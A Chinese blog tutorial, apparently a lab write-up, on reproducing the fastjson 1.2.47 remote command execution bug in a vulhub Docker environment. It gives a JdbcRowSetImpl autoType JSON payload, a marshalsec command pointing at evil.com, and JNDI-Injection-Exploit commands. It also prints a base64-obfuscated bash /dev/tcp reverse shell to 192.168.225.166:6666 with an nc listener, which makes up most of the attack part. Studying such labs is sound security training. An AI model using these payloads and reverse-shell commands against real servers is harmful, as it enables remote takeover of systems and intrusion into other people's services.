fastjson 1.2.47 远程命令执行漏洞

本文详细描述了fastjson1.2.47版本的远程命令执行漏洞,包括漏洞环境搭建、复现步骤、使用FastjsonScan插件检测、JNDI服务构建、反弹shell利用过程等,提供了详细的教程和示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

fastjson 1.2.47 远程命令执行漏洞

1 在线漏洞解读:

https://vulhub.org/#/environments/fastjson/1.2.47-rce/

在这里插入图片描述

2 环境搭建

cd  /home/kali/vulhub/fastjson/1.2.47-rce

在这里插入图片描述

启动:

sudo docker-compose up -d

sudo docker-compose ps -a
sudo docker ps -a

已启动:访问端口8091

在这里插入图片描述

3 影响版本:

​ fastjson<1.2.48

4 漏洞复现

4.1 访问页面

​ 访问页面http://http://192.168.225.166:8091/,返回json字符串

在这里插入图片描述

4.2 bp抓包,修改参数

bp进行抓包,转发repeater,将get请求转成post;

修改请求参数为json, 增加json参数进行传参,返回序列化后的参数值.

在这里插入图片描述

5 使用插件检测漏洞【FastjsonScan】

https://github.com/Maskhe/FastjsonScan
5.1使用説明
  • 下载项目中的FastjsonScan.jar文件

    在这里插入图片描述

  • 在burp的Extender->Extensions栏,点击Add,选择下载好的jar文件就可以了(执行环境是Java)

如果成功安装,会输出如下信息,如果未能成功安装可以换下jdk版本??我用的1.8

在这里插入图片描述

5.2 使用方法

使用方法也很简单,就像使用repeater一样,你可以在burp的任何地方选中一个请求右键选择【Send to FastjsonScan】将这个请求发送到Fastjson Scan,然后就只需要等待扫描结束

5.2.1 右键菜单中:

在这里插入图片描述

5.2.2 FastjsonScan扫描结果界面:
{"axin":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"is":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://c6juk7iuaimlq6w7ap5jkhrmxd33rs.oastify.com/aaa","autoCommit":true}}

在这里插入图片描述

5.2.3 打开dnslog解析地址,获取的地址粘贴到bp的请求参数中看是否请求成功
http://dnslog.cn/  # 获取新的地址 5z5srb.dnslog.cn

在这里插入图片描述

5.2.4 测试使用rmi协议可以通信

在这里插入图片描述
在这里插入图片描述

5.2.5 如不通使用这几种协议尝试, JNDI java的这几种协议(LDAP| RMI| CORBA| DNS| NDS| NIS)
JNDI,Java Nameing and Directory Interface,Java 命令与目录接口,是一组应用程序接口,目的是为了方便查找远程或本地对象。JNDI 典型的应用场景是配置数据源,除此之外,JNDI 还可以访问现有的目录和服务,例如LDAP| RMI| CORBA| DNS| NDS| NIS
5.2.6 dnslog.cn通了,可以请求成功,存在漏洞,对其进行漏洞利用,准备反弹shell,先需要构建JNDI服务

6 构建一个JNDI服务器

6.1 下载工具JNDI协议服务
https://github.com/welk1n/JNDI-Injection-Exploit.git
6.2 执行漏洞核心指令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999

-----------------------
Run a JNDI reference redirector service pointing to that codebase - two implementations are included: marshalsec.jndi.LDAPRefServer and RMIRefServer.

java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]

Use (ldap|rmi)://host:port/obj as the jndiUrl, pointing to that service's listening address.
-----------------------

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

要确保 1099、1389、8180端口可用,不被其他程序占用

7 kali进行下载安裝JNDI服务

7.1 目录位置
┌──(kali💋kali)-[~/tools]
└─$ proxychains git clone https://github.com/welk1n/JNDI-Injection-Exploit.git 

#编译好tar包目录位置,准备启动JNDI通信服务
┌──(kali💋kali)-[~/tools/java-unserialize/JNDI-Injection-Exploit/target]
└─$ pwd                                                                       
/home/kali/tools/java-unserialize/JNDI-Injection-Exploit/target
7.2执行
7.2.1 执行指令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/test" -A "192.168.225.166"

在这里插入图片描述

7.2.2 启动后提示连接这几种地址协议
rmi://192.168.225.166:1099/fn3esn
rmi://192.168.225.166:1099/eal10z
ldap://192.168.225.166:1389/eal10z
rmi://192.168.225.166:1099/izbagp
ldap://192.168.225.166:1389/izbagp
7.2.3 bp尝试上面的几种地址连接,连接后查看docker容器是否创建文件指令

在这里插入图片描述

8 查看docker容器

sudo docker ps -a
sudo docker exec -it 532  /bin/bash

在这里插入图片描述

在这里插入图片描述

bp发送请求后已创建文件

在这里插入图片描述

9 构建反弹shell

9.1 反弹shell一句话
nc -lvvp  6666   # 开启监听6666端口服务
----------------------------------
bash -i >& /dev/tcp/192.168.225.166/6666 0>&1
----------------------------------
bash -i >& /dev/tcp/192.168.225.166/6666 0>&1 转成base64位:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx
----------------------------------
bash -c {echo,base64编码一句话shell}|{base64,-d}|{bash,-i}
--------------
最后组合为
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
----------------------------------

输入java指令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"


bash -i &> /dev/tcp/192.168.225.166/6666 0<&1 # 反弹交互指令tcp服务
nc -lvp 6666 # l是监听模式;v是显示详细信息;p是指定端口;
9.2 使用在线工具转义
https://ares-x.com/tools/runtime-exec/

在这里插入图片描述

10 上面指令处理完,反弹shell

10. 1 开启监听
nc  -lvvp  6666

在这里插入图片描述

10.2 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C “command”中
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"

在这里插入图片描述

10.3 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发
rmi://192.168.225.166:1099/omyj1u
ldap://192.168.225.166:1389/omyj1u
rmi://192.168.225.166:1099/ibhzk7
rmi://192.168.225.166:1099/dwddl1
ldap://192.168.225.166:1389/dwddl1

在这里插入图片描述

10.4 经过多次尝试地址,获取连接到shell

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值